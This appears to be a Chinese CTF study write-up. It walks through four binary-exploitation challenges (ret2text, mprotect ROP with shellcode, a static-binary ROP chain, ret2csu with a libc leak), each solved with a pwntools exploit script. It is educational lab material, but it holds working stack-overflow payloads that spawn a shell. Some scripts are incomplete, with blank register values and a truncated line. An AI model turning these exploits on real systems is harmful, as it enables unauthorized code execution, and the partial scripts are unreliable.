寒假学习计划第一轮,通过四道典型题回顾复习。
pwn1:ret2text
首先将文件拖入kali中查看信息
拖入64位ida里
查看main函数,f5反编译
main函数里面并没有东西,接下来跟进vuln
read函数读取,buf可填充0x20个字节,read可以读入0x29个字节 ,存在栈溢出,但是返回地址只能覆盖一个字节。
shift+f12查看字符串,有/bin/sh
ctrl+x查看/bin/sh的地址位0x401209 。
mote('node5.anna.nssctf.cn',28253)
p=process('./pwn1')
binsh=0x401209
payload=b'a'*(0x28)
gdb.attach(p)
p.sendline(payload)
p.interactive()
先覆盖rbp,进入gdb调试窗口,发现程序最初的返回地址为0x4012开头
read函数还可读入一个字节,刚好可以把最后两位覆盖为09,此时返回地址变为0x401209,执行/bin/sh,获得权限。
mote('node5.anna.nssctf.cn',28253)
p=process('./pwn1')
binsh=0x401209
payload=b'a'*(0x28)+p8(0x9)
#gdb.attach(p)
p.sendline(payload)
p.interactive()
用p8()就是打包发送一个字节。至此,该题已经成功打通。
pwn2:mprotect
首先我们先了解一下mprotect函数
mprotect()函数
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
总的来说就是我们可以利用mprotect函数修改指定页的内存权限。
接下来我们通过例题详细介绍mprotect函数的使用
首先kali查看文件为64位
拖入ida里面提示我们用mprotect函数,f5反编译ctfshow函数,gets函数可无限溢出。左侧函数列表我们并没有找到mprotect函数,那我们该怎么找他的地址呢。我们可以思考一下ret2libc类型题中我们是找不到system函数的地址,但是我们可以找到相应的libc库,里面存储的有函数地址与libc基地址的偏移,同理,libc库里也有mprotect函数的地址偏移。那么接下来我们先泄露libc地址。
from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn2')
elf=ELF('./pwn2')
rdi=0x4007e3
main=0x400637
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload=b'a'*(0x28)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil('Hello CTFshow\n')
#gdb.attach(p)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
p.interactive()
运行脚本打印出来puts函数的真实地址,利用libc database search 查找到相应的libc库。
libc_base = puts_addr - libc.symbols['puts']这段代码是用来计算libc的基地址。
这里我就阐述一下思路,因为我用的kali他无法打印出puts函数的真实地址,没有办法复现,不过这个问题在ubuntu上可以解决。得到libc基地址后计算mprotect函数地址。mprotect函数是有三个参数的,64位文件中对应rdi,rsi,rdx;32位文件中对应edi,esi,edx。其中rdi(edi)是页起始地址,rsi(esi)是修改长度,rdx(edx)是需要修改的权限。
接下来我们就要去找三个寄存器的地址了,使用
ROPgadget --binary '/home/shengnan/Desktop/pwn2' --only 'pop|ret' | grep ret
我们可以看到是没有我们需要的这几个寄存器的
其实我们前面找到的libc文件里面也存储有寄存器的偏移,只需要把文件名改为libc文件即可。
ROPgadget --binary '/home/shengnan/Desktop/libc.so' --only 'pop|ret' | grep ret
会出现特别多寄存器的偏移,找到偏移计算即可得到地址。
这里我们最好用rdx-r12,因为rdx可能会出现打不通的情况,但前者不会出现。
接下来我们去找bss段的地址
payload=b'a'*(0x28)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)+p64(rdi)+p64(bss)+p64(elf.plt['gets'])+p64(bss)
bss的地址我们需要把后三位改为000,前面说过addr必须是一个内存页的起始地址
这里需要说明 一点,64位文件是先构造参数后调用函数,所以我们覆盖完rbp之后先往三个寄存器里放东西,这里rdx-r12就直接传入两个7即可,为什么是7呢,可读、可写、可执行分别对应1、2、4,7则是可读可写可执行。将返回地址覆盖为mprotect函数执行,成功修改权限,接下来我们利用gets函数向bss段读入东西,并将返回地址修改为bss段地址。其中gets函数只有一个参数,用rdi即可。
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
接下来我们 利用pwntools里的shellcraft模块自动生成一个shellcode并传入bss里,我们就可以成功获得权限。
exp如下:
from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn2')
elf=ELF('./pwn2')
rdi=0x4007e3
main=0x400637
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload=b'a'*(0x28)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil('Hello CTFshow\n')
#gdb.attach(p)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
mprotect = libc_base + libc.symbols['mprotect']
bss=0x602000
rdi=
rsi=
rdx_r12=
payload=b'a'*(0x28)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)+p64(rdi)+p64(bss)+p64(elf.plt['gets'])+p64(bss)
p.sendline(payload)
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
这里很多东西我是没有填写的,因为我是无法打印puts的真实地址。所以我建议大家还是使用ubuntu来做pwn题。
pwn3:静态编译
拖入64位ida里面
可以看到左侧函数表非常多,这是静态编译文件的一个特征。
f5反编译main函数
发现危险函数gets函数,gets函数是可以无限制读入数据。这里就很清楚了,首先介绍一种秒杀的方法,那就是自动化ROP链。
ROPgadget有一个功能,直接利用程序中的片段拼凑rop链。
ROPgadget --binary pwn3 --ropchain
通过kali终端打入指令运行
#Padding goes here下面的一大串代码就是系统自动为我们生成的payload,我们只需要填入足够的垃圾数据覆盖rbp即可。
这里需要注意的是使用自动化ROP链时需要在脚本开头加上
from struct import pack
想要使用自动化ROP链解题需要满足两个条件:
1.静态编译
2.gets函数或者是read函数且read函数溢出足够大.
还有一种解法,就是利用mprotect函数
在ida左侧函数表ctrl+f查找mprotect
mprotect=0x4353E0
然后在右侧界面ctrl+s查看bss段地址
这里将bss的地址设置为0x6c1000
接下来通过ropgadget工具寻找rdi,rsi,rdxd寄存器的地址
ROPgadget --binary '/home/shengnan/Desktop/pwn3' --only 'pop|ret' | grep ret
rdi= 0x00000000004016c3
rsi=0x00000000004017d7
rdx=0x00000000004377d5
然后就和pwn2的思路一样了,这里就不再多说了
from pwn import*
p=process('./pwn3')
context(log_level = 'debug',arch = 'amd64')
mprotect=0x4353E0
rdi= 0x00000000004016c3
rsi=0x00000000004017d7
rdx=0x00000000004377d5
bss=0x6c1000
gets=0x4086a0
shellcode=asm(shellcraft.sh())
p.recvuntil('where is my system_x64?')
payload=b'a'*(0x50+8)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(mprotect)+p64(rdi)+p64(bss)+p64(gets)+p64(bss)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
pwn4:ret2csu
ida查看main函数
跟进vuln函数
gets函数有溢出点。
result = strlen(s);
if ( result > 0x10 )
{
write(1, "may you can pass it right?", 0x1AuLL);
exit(1);
}
这段代码就是进行一个长度比较,长度超过16就会退出程序,我们可以利用\x00绕过长度判断。
因此在填写垃圾数据时可以这样写:b'\x00'+b'a'*(0x10+8-1)
在ida里面是没有找到system函数和/bin/sh,此时我们想到了利用libc来做。尝试之后发现并不行。write函数是有三个参数,对应rdi,rsi,rdx。我们通过ropgadget查找发现缺少rdx寄存器,这时我们可以用ret2scu来做。对于ret2csu可以看一下这篇博客,写得很好。
每道题中__libc_csu_init函数的汇编都可能是不一样的,我们需要对应着汇编去传参。
通过利用__libc_csu_init函数我们成功泄露write函数的真实地址,通过网站我们找到libc库,接下来就是和ret2libc一样的操作了。
接下来我们利用csu泄露write地址
from pwn import*
p=process('./pwn4')
context.log_level='debug'
elf=ELF('./pwn4')
#gdb.attach(p)
ret_rdi=0x401333
ret=0x40101a
payload=b'\x00'*(0x10+8)+p64(0x40132a)+p64(0)+p64(1)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(0x401310)+p64(0)*7+p64(0x4011fd)
p.recvuntil('This challenge no backdoor!')
p.sendline(payload)
payload传参顺序在上述博客中已经说的非常清楚,这里就不再解释了。
完整exp为:
from pwn import*
p=process('./pwn4')
libc = ELF('./libc1.so')
context.log_level='debug'
elf=ELF('./pwn4')
#gdb.attach(p)
ret_rdi=0x401333
ret=0x40101a
payload=b'\x00'*(0x10+8)+p64(0x40132a)+p64(0)+p64(1)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(0x401310)+p64(0)*7+p64(0x4011fd)
p.recvuntil('This challenge no backdoor!')
p.sendline(payload)
write_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print (hex(write_addr))
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base +next(libc.search(b'/bin/sh'))
payload=b'\x00'+b'a'*(0x10+7)+p64(ret_rdi)+p64(bin_sh)+p64(ret)+p64(system_addr)
p.sendline(payload)
p.interactive()
以上四道题都是在本地做的,没有远程靶机,如果有兴趣想要复现的话,可以后台私信我。